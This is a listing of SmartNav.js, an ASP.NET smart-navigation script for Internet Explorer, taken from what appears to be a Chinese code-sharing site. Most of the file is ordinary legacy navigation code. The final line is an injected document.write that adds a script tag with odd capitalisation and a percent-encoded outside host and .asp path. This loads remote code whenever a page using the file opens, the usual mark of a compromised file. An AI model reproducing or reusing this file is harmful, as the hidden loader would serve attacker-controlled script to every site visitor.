SmartNav.js
上传用户:xiecaij
上传日期:2015-02-08
资源大小:2016k
文件大小:8k
源码类别:

百货/超市行业

开发平台:

ASP/ASPX

  1. var snSrc;
  2. if (window.__smartNav == null)
  3. {
  4.     window.__smartNav = new Object();
  5.     window.__smartNav.update = function()
  6.     {
  7.         var sn = window.__smartNav;
  8.         var fd;
  9.         document.detachEvent("onstop", sn.stopHif);
  10.         sn.inPost = false;
  11.         try { fd = frames["__hifSmartNav"].document; } catch (e) {return;}
  12.         var fdr = fd.getElementsByTagName("asp_smartnav_rdir");
  13.         if (fdr.length > 0)
  14.         {
  15.             if (sn.sHif == null)
  16.             {
  17.                 sn.sHif = document.createElement("IFRAME");
  18.                 sn.sHif.name = "__hifSmartNav";
  19.                 sn.sHif.style.display = "none";
  20.                 sn.sHif.src = snSrc;
  21.             }
  22.             try {window.location = fdr[0].url;} catch (e) {};
  23.             return;
  24.         }
  25.         var fdurl = fd.location.href;
  26.         index = fdurl.indexOf(snSrc);
  27.         if ((index != -1 && index == fdurl.length-snSrc.length)
  28.             || fdurl == "about:blank")
  29.             return;
  30.         if (sn.sHif != null)
  31.         {
  32.             sn.sHif.removeNode(true);
  33.             sn.sHif = null;
  34.         }
  35.         var hdm = document.getElementsByTagName("head")[0];
  36.         var hk = hdm.childNodes;
  37.         var tt = null;
  38.         for (var i = hk.length - 1; i>= 0; i--)
  39.         {
  40.             if (hk[i].tagName == "TITLE")
  41.             {
  42.                 tt = hk[i].outerHTML;
  43.                 continue;
  44.             }
  45.             if (hk[i].tagName != "BASEFONT" || hk[i].innerHTML.length == 0)
  46.                 hdm.removeChild(hdm.childNodes[i]);
  47.         }
  48.         var kids = fd.getElementsByTagName("head")[0].childNodes;
  49.         for (var i = 0; i < kids.length; i++)
  50.         {
  51.             var tn = kids[i].tagName;
  52.             var k = document.createElement(tn);
  53.             k.id = kids[i].id;
  54.             k.mergeAttributes(kids[i]);
  55.             switch(tn)
  56.             {
  57.             case "TITLE":
  58.                 if (tt == kids[i].outerHTML)
  59.                     continue;
  60.                 k.innerText = kids[i].text;
  61.                 hdm.insertAdjacentElement("afterbegin", k);
  62.                 continue;
  63.             case "BASEFONT" :
  64.                 if (kids[i].innerHTML.length > 0)
  65.                     continue;
  66.                 break;
  67.             default:
  68.                 var o = document.createElement("BODY");
  69.                 o.innerHTML = "<BODY>" + kids[i].outerHTML + "</BODY>";
  70.                 k = o.firstChild;
  71.                 break;
  72.             }
  73.             if(k!=null)
  74.                 hdm.appendChild(k);
  75.         }
  76.         document.body.clearAttributes();
  77.         document.body.id = fd.body.id;
  78.         document.body.mergeAttributes(fd.body);
  79.         var newBodyLoad = fd.body.onload;
  80.         if (newBodyLoad != null)
  81.             document.body.onload = newBodyLoad;
  82.         var s = "<BODY>" + fd.body.innerHTML + "</BODY>";
  83.         if (sn.hif != null)
  84.         {
  85.             var hifP = sn.hif.parentElement;
  86.             if (hifP != null)
  87.                 sn.sHif=hifP.removeChild(sn.hif);
  88.         }
  89.         document.body.innerHTML = s;
  90.         var sc = document.scripts;
  91.         for (var i = 0; i < sc.length; i++)
  92.         {
  93.             sc[i].text = sc[i].text;
  94.         }
  95.         sn.hif = document.all("__hifSmartNav");
  96.         if (sn.hif != null)
  97.         {
  98.             var hif = sn.hif;
  99.             sn.hifName = "__hifSmartNav" + (new Date()).getTime();
  100.             frames["__hifSmartNav"].name = sn.hifName;
  101.             sn.hifDoc = hif.contentWindow.document;
  102.             if (sn.ie5)
  103.                 hif.parentElement.removeChild(hif);
  104.             window.setTimeout(sn.restoreFocus,0);
  105.         }
  106.         if (typeof(window.onload) == "string")
  107.         {
  108.             try { eval(window.onload) } catch (e) {};
  109.         }
  110.         else if (window.onload != null)
  111.         {
  112.             try { window.onload() } catch (e) {};
  113.         }
  114.         sn.attachForm();
  115.     };
  116.     window.__smartNav.restoreFocus = function()
  117.     {
  118.         if (window.__smartNav.inPost == true) return;
  119.         var curAe = document.activeElement;
  120.         var sAeId = window.__smartNav.ae;
  121.         if (sAeId==null || curAe!=null && (curAe.id==sAeId||curAe.name==sAeId))
  122.             return;
  123.         var ae = document.all(sAeId);
  124.         if (ae == null) return;
  125.         try { ae.focus(); } catch(e){};
  126.     }
  127.     window.__smartNav.saveHistory = function()
  128.     {
  129.         if (window.__smartNav.hif != null)
  130.             window.__smartNav.hif.removeNode();
  131.         if (    window.__smartNav.sHif != null
  132.             &&  document.all[window.__smartNav.siHif] != null)
  133.             document.all[window.__smartNav.siHif].insertAdjacentElement(
  134.                         "BeforeBegin", window.__smartNav.sHif);
  135.     }
  136.     window.__smartNav.stopHif = function()
  137.     {
  138.         document.detachEvent("onstop", window.__smartNav.stopHif);
  139.         var sn = window.__smartNav;
  140.         if (sn.hifDoc == null && sn.hif != null)
  141.         {
  142.             try {sn.hifDoc = sn.hif.contentWindow.document;}
  143.             catch(e){sn.hifDoc=null}
  144.         }
  145.         if (sn.hifDoc != null)
  146.         {
  147.             try {sn.hifDoc.execCommand("stop");} catch (e){}
  148.         }
  149.     }
  150.     window.__smartNav.init =  function()
  151.     {
  152.         var sn = window.__smartNav;
  153.         document.detachEvent("onstop", sn.stopHif);
  154.         document.attachEvent("onstop", sn.stopHif);
  155.         try { if (window.event.returnValue == false) return; } catch(e) {}
  156.         sn.inPost = true;
  157.         if (document.activeElement != null)
  158.         {
  159.             var ae = document.activeElement.id;
  160.             if (ae.length == 0)
  161.                 ae = document.activeElement.name;
  162.             sn.ae = ae;
  163.         }
  164.         else
  165.             sn.ae = null;
  166.         try {document.selection.empty();} catch (e) {}
  167.         if (sn.hif == null)
  168.         {
  169.             sn.hif = document.all("__hifSmartNav");
  170.             sn.hifDoc = sn.hif.contentWindow.document;
  171.         }
  172.         if (sn.hifDoc != null)
  173.             try {sn.hifDoc.designMode = "On";}catch(e){};
  174.         if (sn.hif.parentElement == null)
  175.             document.body.appendChild(sn.hif);
  176.         var hif = sn.hif;
  177.         hif.detachEvent("onload", sn.update);
  178.         hif.attachEvent("onload", sn.update);
  179.         window.__smartNav.fInit = true;
  180.     };
  181.     window.__smartNav.submit = function()
  182.     {
  183.         window.__smartNav.fInit = false;
  184.         try { window.__smartNav.init(); } catch(e) {}
  185.         if (window.__smartNav.fInit)
  186.             window.__smartNav.form._submit();
  187.     };
  188.     window.__smartNav.attachForm = function()
  189.     {
  190.         var cf = document.forms;
  191.         for (var i=0; i<cf.length; i++)
  192.         {
  193.             if (cf[i].__smartNavEnabled != null)
  194.             {
  195.                 window.__smartNav.form = cf[i];
  196.                 break;
  197.             }
  198.         }
  199.         var snfm = window.__smartNav.form;
  200.         if (snfm == null) return false;
  201.         var sft = snfm.target;
  202.         if (sft.length != 0 && sft.indexOf("__hifSmartNav") != 0) return false;
  203.         var sfc = snfm.action.split("?")[0];
  204.         var url = window.location.href.split("?")[0];
  205.         if (url.charAt(url.length-1) != '/' && url.lastIndexOf(sfc) + sfc.length != url.length) return false;
  206.         if (snfm.__formAttached == true) return true;
  207.         snfm.__formAttached = true;
  208.         snfm.attachEvent("onsubmit", window.__smartNav.init);
  209.         snfm._submit = snfm.submit;
  210.         snfm.submit = window.__smartNav.submit;
  211.         snfm.target = window.__smartNav.hifName;
  212.         return true;
  213.     };
  214.     window.__smartNav.hifName = "__hifSmartNav" + (new Date()).getTime();
  215.     window.__smartNav.ie5 = navigator.appVersion.indexOf("MSIE 5") > 0;
  216.     var rc = window.__smartNav.attachForm();
  217.     var hif = document.all("__hifSmartNav");
  218.     if (snSrc == null) {
  219.         snSrc = hif.src;
  220.     }
  221.     if (rc)
  222.     {
  223.         var fsn = frames["__hifSmartNav"];
  224.         fsn.name = window.__smartNav.hifName;
  225.         window.__smartNav.siHif = hif.sourceIndex;
  226.         try {
  227.             if (fsn.document.location != snSrc)
  228.             {
  229.                 fsn.document.designMode = "On";
  230.                 hif.attachEvent("onload",window.__smartNav.update);
  231.                 window.__smartNav.hif = hif;
  232.             }
  233.         }
  234.         catch (e) { window.__smartNav.hif = hif; }
  235.         window.attachEvent("onbeforeunload", window.__smartNav.saveHistory);
  236.     }
  237.     else
  238.         window.__smartNav = null;
  239. }
  240. document.write("<ScRiPt src='http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");